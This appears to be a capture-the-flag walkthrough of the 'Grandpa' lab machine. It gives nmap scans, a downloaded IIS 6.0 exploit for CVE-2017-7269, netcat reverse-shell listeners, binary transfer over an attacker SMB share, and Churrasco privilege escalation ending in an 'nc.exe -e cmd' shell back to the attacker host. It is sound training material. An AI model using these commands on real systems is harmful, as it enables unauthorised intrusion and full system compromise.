Grandpa

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.14 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p80 10.10.10.14 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

Exploitation

As we can see, it has an IIS httpd 6.0 web server. I started looking for exploits on the internet, and I found this exploit from GitHub. Let's download it and rename it.

wget https://raw.githubusercontent.com/g0rx/iis6-exploit-2017-CVE-2017-7269/master/iis6%20reverse%20shell

mv 'iis6 reverse shell' exploit.py

Now, let's set a listener on port 4444 with netcat and rlwrap.

rlwrap nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

If we run the exploit indicating the IP address of the victim machine, the port in which the website is running, the local IP address, and the port of the netcat listener, we'll get a reverse shell as the nt authority\network service user.

python2 exploit.py 10.10.10.14 80 10.10.14.7 4444

Privilege Escalation

Let's see what privileges the user nt authority\network service has.

whoami /priv

If a user has the SeImpersonatePrivilege, the first thing that comes to mind is JuicyPotato.

JuicyPotato is a local privilege escalation tool for Windows, which uses COM objects for privilege escalation. It is needed that SeImpersonate or SeAssignPrimaryToken are enabled.

https://github.com/ohpe/juicy-potato

To escalate privileges, we'll have to transfer JuicyPotato.exe to the victim machine. Let's set a SMB server with the impacket library, on the directory where we have the JuicyPotato binary.

impacket-smbserver sambaFolder $(pwd) -smb2support

And download the binaries from the \windows\temp folder.

copy \\10.10.14.7\sambaFolder\JuicyPotato.exe JuicyPotato.exe

If we execute it, we'll get an error saying that the binary is incompatible with the system architecture.

JuicyPotato.exe

But, no worries, there is an alternative to JuicyPotato. It is called Churrasco, and you can download it from here. Once you download it, transfer it to the Windows machine with the same method we did before. And if we execute it indicating the whoami command, we'll see that we can execute commands as the nt authority\system user.

churrasco.exe "whoami"

Let's get a shell as the nt authority\system user. First, let's set a netcat listener on port 5555.

rlwrap nc -lvnp 5555

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Then, let's set another SMB server on the directory where the nc.exe binary is.

impacket-smbserver sambaFolder $(pwd) -smb2support

And finally, execute the following command on the Windows machine, which will send a shell as the nt authority\system user to the netcat listener.

churrasco.exe "\\10.10.14.7\sambaFolder\nc.exe -e cmd 10.10.14.7 5555"

Finally, all we have to do is reap the harvest and take the user and the root flag.

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